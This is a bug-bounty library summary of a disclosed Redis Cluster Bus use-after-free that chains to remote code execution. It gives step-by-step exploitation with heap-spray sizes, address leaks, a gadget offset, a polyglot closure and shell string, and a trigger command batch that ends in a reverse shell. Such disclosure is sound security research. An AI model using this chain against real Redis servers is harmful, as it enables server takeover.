# Use-After-Forget: From Cluster Bus Bug to RCE in Redis

Use-after-free in Redis Cluster Bus PING extension processing lets an attacker free the sender node then reclaim it, chaining to Lua closure hijack and RCE.

- Payout: Research
- Severity: critical
- Program: Redis
- Write-up by: JFrog Security Research
- Disclosed: 2026-12-01
- Write-up quality: 9/10
- Original: https://jfrog.com/blog/from-cluster-bus-bug-to-rce-in-redis/
- Library page: https://bugbountylibrary.com/r/blog%3Ajfrog-com-blog-from-cluster-bus-bug-to-rce-in-redis
- Tags: area:oss domain:oss impact:rce kind:research platform:threat-intel sev:critical tech:linux technique:chained technique:race-window technique:source-review vuln:memory-corruption vuln:rce

**Target:** Redis Cluster Bus (clusterProcessPingExtensions) and client port
**Root cause:** clusterProcessPingExtensions processes extensions against a single sender pointer captured once; a FORGOTTEN_NODE extension naming the sender frees it via clusterDelNode, then a SHARDID extension causes updateShardId to append the dangling sender into server.cluster->shards.
**Steps:**
1. Reach cluster bus (client_port+10000) and client port; gather peer_node_id from CLUSTER NODES and victim_myshardid from CLUSTER MYSHARDID.
2. Send cluster-bus PING with header sender=<peer_node_id>, ext=2, mflags|=EXT_DATA; ext[0]=FORGOTTEN_NODE{node=sender,ttl=300}; ext[1]=SHARDID{shard_id=<victim_myshardid>}.
3. Spray 512 SET {a}s0..s511 with 2554-byte fake clusterNode bodies (sdshdr16 5 + 2554 + NUL = 2560) after a 20ms delay to reclaim the freed slot.
4. Run CLUSTER SHARDS; fake.hostname=tostring_addr+32 leaks luaB_tostring pointer; subtract PIE_LUAB_TOSTRING for PIE base.
5. SETRANGE all sprayed keys hostname_off to pie_base+PIE_GOT_SYSCALL; CLUSTER SHARDS leaks syscall GOT entry; compute libc_base and system_addr.
6. SETRANGE slotinfo_off to errh_addr (leaked __redis__err__handler); CLUSTER SHARDS calls clusterFreeNodesSlotsInfo -> zfree on live 48-byte LClosure.
7. Drain 48-byte tcache with 64 dummy SADD (after pushing set past listpack limit of 128 with 129 members); SADD 16 distinct 44-byte polyglot members to reclaim closure slot.
8. EVAL "__redis__err__handler(42)" 0; luaD_precall takes C-closure path, calls gadget at PIE+0x32b318 which does mov %rax,%rdi; call *0x28(%rax) -> system() on polyglot shell string.
9. Polyglot shell text `;aaaa;\x04X;grep -a echo d*|sh;#` extracts staged base64 reverse shell from dump.rdb (written via SET _rshell ...; SAVE) and pipes to sh.
**How found:** Code review of clusterProcessPingExtensions extension loop: noticed all extensions are processed against one sender pointer with no guard against the FORGOTTEN_NODE handler freeing it before SHARDID's post-loop updateShardId uses it.
**Exploitation:** Attacker with bus and client-port access sends a crafted PING that frees the sender clusterNode and leaves a dangling pointer in server.cluster->shards. Heap spray with 2560-byte SET values reclaims the slot with a fake clusterNode; CLUSTER SHARDS then provides a chosen-address C-string read (hostname) and pointer-controlled zfree (slot_info_pairs). Leaks PIE via tostring CClosure.f, libc via syscall GOT, frees the live __redis__err__handler LClosure, reclaims it with a 44-byte SADD polyglot that is simultaneously a valid Lua Closure and a /bin/sh command line, then EVAL invokes it to reach system() and a reverse shell.
**Escalation:** Chains UAF into read/free primitives, ASLR defeat (PIE then libc), a second UAF in the Lua VM object graph, and a polyglot closure reclaim to hijack luaD_precall dispatch into system().
**Insight:** Extension/trailer loops that dispatch to handlers which can free the shared context object are a classic UAF source; check whether post-loop code reuses a pointer a handler may have freed. Also: Lua's tostring() on built-in functions leaks closure heap addresses even under sandbox, and a single 44-byte buffer can be crafted as both a valid Lua Closure and a shell command line.

## Proof of concept (copied exactly from the original report)

**Cluster-bus PING packet with FORGOTTEN_NODE then SHARDID**

```
header { sender = <peer_node_id>, ext = 2, mflags |= EXT_DATA }
ext[0] = FORGOTTEN_NODE { node = sender, ttl = 300 }
ext[1] = SHARDID { shard_id = <victim_myshardid> }
```

**44-byte SDS polyglot reclaiming freed Lua closure**

```
Allocation (48 bytes total):

 [0..2] sdshdr8 header { len=44, alloc=44, flags=0x01 }
 [3..31] shell command ";aaaa;\x04X;grep -a echo d*|sh;#"
 [32..39] Closure.f → gadget (PIE+0x32b318)
 [40..47] [rax+0x28] → system()
```

**Pipelined free, reclaim and EVAL trigger batch**

```
SADD     x64  <distinct dummy 44-byte member>    ; prepare the 48-byte bin
SETRANGE x512 (slot_info_pairs ← errh_addr)      ; point the fake node at the closure
CLUSTER SHARDS                                    ; free the closure
SADD     x16  <distinct 44-byte payload member>  ; attempt to reclaim its slot
EVAL "__redis__err__handler(42)" 0                ; invoke the closure
```

